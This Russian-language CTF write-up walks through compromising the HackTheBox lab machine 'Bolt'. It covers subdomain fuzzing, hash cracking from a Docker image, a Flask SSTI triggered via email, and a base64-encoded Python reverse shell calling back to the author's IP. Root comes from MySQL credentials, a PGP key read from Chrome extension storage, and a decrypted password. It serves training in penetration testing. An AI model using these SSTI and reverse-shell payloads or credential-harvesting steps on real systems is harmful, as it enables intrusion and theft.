Приветствую!
Предисловие
Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Bolt.В этой статье мы отыщем уязвимые пути и файлы в изображении Docker и найдем SSTI в веб приложении. Приступаем!

Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.114
IP адрес основной машины - 10.10.14.66
Начальная разведка и сканирование портов:
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:nmap -sC -sV 10.10.11.114
Из открытых портов у нас: 22/tcp - SSH; 80/tcp - HTTP; 443/tcp - HTTPS;
Также видим поддомен хоста - passbolt.bolt.htb. Добавим его в наши хосты:
echo "10.10.11.114 bolt.htb passbolt.bolt.htb" >> /etc/hosts
Теперь давайте перейдем на веб-сайт.
Заметим что здесь отображен шаблон - Admin LTE.
Перейдем теперь на вкладку - Pages и посмотрим, если что интересного в ней...
Здесь нас встречает функционал из пяти страниц, для начала перейдем во вкладку - Sign in.
Мы попали на страницу логина, попробуем теперь ввести дефолтные данные - admin:admin
Но на наш запрос отвечают, что доступ не был получен, а также что мы ввели неправильный пароль.
Тогда попробуем создать свой аккаунт.
У нас не получилось, тогда давайте глянем что у нас во вкладке загрузки - Download.
Здесь говорится о том, что веб-изображение готово к запуску, поэтому, возможно, исходный код должен быть в этом файле.
Нас редиректит на страницу загрузки изображения докера.
Давайте-же скачаем image.tar, архив довольно большой (154 Мб).
После успешной загрузки я распакую его в папку image.
tar -xf image.tar
Итак здесь мы видим множество директорий внутри которых будет файл - layer.tar.
Давайте попробуем распаковать этот архив и посмотреть что в нём содержится.
tar -xf layer.tar
Он содержит в себе две папки - root и tmp. Перейдем в папку root и посмотрим её содержимое.
Пусто, как и в другой папке - tmp. Давайте проведем разведку в отношении поиска поддоменов этого сайта.
ffuf -w /root/subdomains-top1million-110000.txt -u 'http://bolt.htb' -H 'Host: FUZZ.bolt.htb' -fw 10870
Здесь мы можем обнаружить два поддомена, добавим их к уже существующим в /etc/hosts.
После добавления давайте перейдем на один из них... Пускай это будет - demo!
Но перейдя на него, мы опять видим форму входа в аккаунт, попробуем теперь зарегистрироваться здесь.
Но даже не успев ввести данные мы видим то, что форма запрашивает у нас код приглашения. У нас его нет

Тогда давайте пройдем на mail.bolt.htb...
Да что ж такое! Везде требуется пароль и логин, тогда попробуем поразбирать архивы в нашем, уже скачанном архиве.
Не маловато конечно папок с файлами внутри, но куда деваться)
В папке
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
мы можем заметить __init__.py и в нём Flask, это может понадобиться нам в будущем)Идём далее, теперь перейдя уже в другую папку и распаковав очередной архив, мы заметим базу данных sqllite3.
Теперь мы получили пароль администратора, пора сбрутить его!
Используем JohnTheRipper:
john --wordlist=/root/rockyou.txt hash.hash
Есть! Мы получили пароль админа - deadbolt
Теперь используя admin - как логин и deadbolt - как пароль, войдем в аккаунт на основном сайте (bolt.htb).
Но оказалось, что здесь ничего мы не сможем найти, т.к эта страница пустая и никакой функциональности здесь нет...
Вы же наверное помните ту самую регистрацию по коду приглашения? Давайте же попробуем найти его в наших файлах.
Ключ к SSTI:
Так при поиске этого кода, мы можем наткнуться на ещё одни учетные данные support@bolt.htb:S#perS3crEt_007, но пока что оставим их в покое и продолжим поиски...
А вот и ещё один нужный нам кусочек кода, который и принёс нам этот заветный код.
Теперь регистрируемся на demo.bolt.htb!
Иии есть! В URL мы видим что мы в админской панели. Но долгие поиски вектора на этом сайте, приносили лишь одни пустые html странички(
Что же это за вкладка - Settings у нашего профиля? Давайте проверим её...
По описанию здесь сказано, что это для обновления личной информации требуется подтверждение электронной почты.
Хммм... Неужели нам предоставили доступ к mail.bolt.htb, проверим это!
Да! Наши учетные данные были зарегистрированы и здесь. Теперь попробуем отправить письмо с подтверждением.
Значит при запросе подтверждения почты, письмо приходит с ссылкой на это подтверждение от... support@bolt.htb!
Вспомнив, что мы увидели те самые учетные данные от support@bolt.htb:S#perS3crEt_007, давайте зайдем в аккаунт службы поддержки.
Но немного посидев и поняв, что эти креды не валидные я приуныл, но уже вскоре понял всю схему написания этого сообщения!
Немного разьясню, помните тот самый момент когда мы нашли AdminLTE? Точно. Это Flask, а самая известная уязвимость для него это - SSTI!
Server-side template injection (SSTI) - это уязвимость внедрения вредоносного кода в шаблон с последующим выполнением на стороне сервера.
Через это самое письмо, мы попробуем внедрить наш вредносный код в приложение и заставим его выполнить его на своей стороне, чем самым мы сможем проникнуть в сам сервер!
Ну что описание закончено, приступим!
Для начала нашего эксперимента, отправим эту строку
{{7*'7'}}
в письме и посмотрим ответ который нам вернула служба поддержки.Попробуем использовать параметр - name для выполнения нашей цели.
И очередное письмо у нас на почте. Откроем же его!
Ничего... Неужели это всё... А нет! К нам пришло ещё одно письмо с ответом на наше подтверждение!
Есть! Здесь есть SSTI уязвимость, так как вывод строки
{{7*'7'}}
выдал нам 7777777
.Ну что, теперь осталось развить её! Давайте отправим себе сообщение с нашим реверс шеллом.
Для этого я кодирую наш пэйлоад в base64:
Далее я засуну его вывод в саму SSTI:
Код:
{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjY2Iiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==" |base64 -d | bash').read()}}
И вот теперь попробуем отправить письмо.
После отправки, бежим смотреть входящие письма! Подтверждаем...
Есть! Мы в системе! Далее дело за малым.
Повышение привилегий:
В директории /home мы видим двух пользователей: eddie и clark.
Но доступа к ним нет, тогда нужно найти его.
Долго скитаяясь по машине, я ничего не находил, но вспомнив про passbolt, попытался найти его конфиг файл и у меня это удалось!
Найдя его в /etc/passbolt/passbolt.php, мы можем прочитать его содержимое!
И среди строк находим креды от MySQL -
passbolt:rT2;jW7<eY8!dX8}pQ8%
, давайте зайдем туда и проверим базы.mysql -u passbolt -p
Нам доступны две базы данных: information_schema (дефолтная база данных) и passboltdb!
Давайте перейдем в последнюю и проверим её таблицы.
mysql> use passboltdb
mysql> show tables;
Видим интересную таблицу secrets, выведем её.
select * from secrets;
Мы видим зашифрованное PGP сообщение, оставим его на потом.
Среди таблиц заметим ещё одну таблицу пользователей - users. Теперь выведем и её содержимое.
select * from users;
Хм, пароля здесь нет, но мы также видим два пользователя.
А что если попробовать использовать пароль от базы данных, для пользователя eddie или clark?
Ура! Мы вошли под этим паролем в аккаунт eddie.
Теперь давайте попробуем получить рут!
Проверив кучу способов я нашёл сообщение от пользователя clark в /var/mail/eddie
В нём говорится про то что мы должны иметь возможность войти в passbolt без нашего закрытого ключа, также это относится к whitepaper - passbolt.
Погуглив про безопасность passbolt, я понял что закрытый ключ хранится в нашем конфиге расширения браузера!
Давайте прочитаем его!
cat /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log
Далее мы видим ключ PGP, мы можем скопировать и вставить его в текстовый файл и отформатировать его.
echo -e 'НАШ ПРИВАТНЫЙ КЛЮЧ'
После получения закрытого ключа и сообщения, запуск gpg в файле сообщения сообщит нам, с каким идентификатором ключа он зашифрован.
Пора расшифровать его, будем использовать gpg2john для создания хэша этого ключа.
Пора сбрутить его! После длительного ожидания мы можем получить наш пароль!
Далее импортируем gpg ключ:
gpg --import pgp.txt
Теперь помня что у нас есть зашифрованное сообщение с базы данных, расшифруем его!
gpg -d message
И теперь мы получили чей-то пароль -
Z(2rmxsNW(Z?3=p/9s
Давайте попробуем зарегистрироваться в аккаунт пользователя - clark
Странно, но почему то пароль не подошёл, тогда может попробовать зайти в аккаунт root?
Получилось! Мы рут, теперь осталось взять его флаг.
Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду

Последнее редактирование модератором: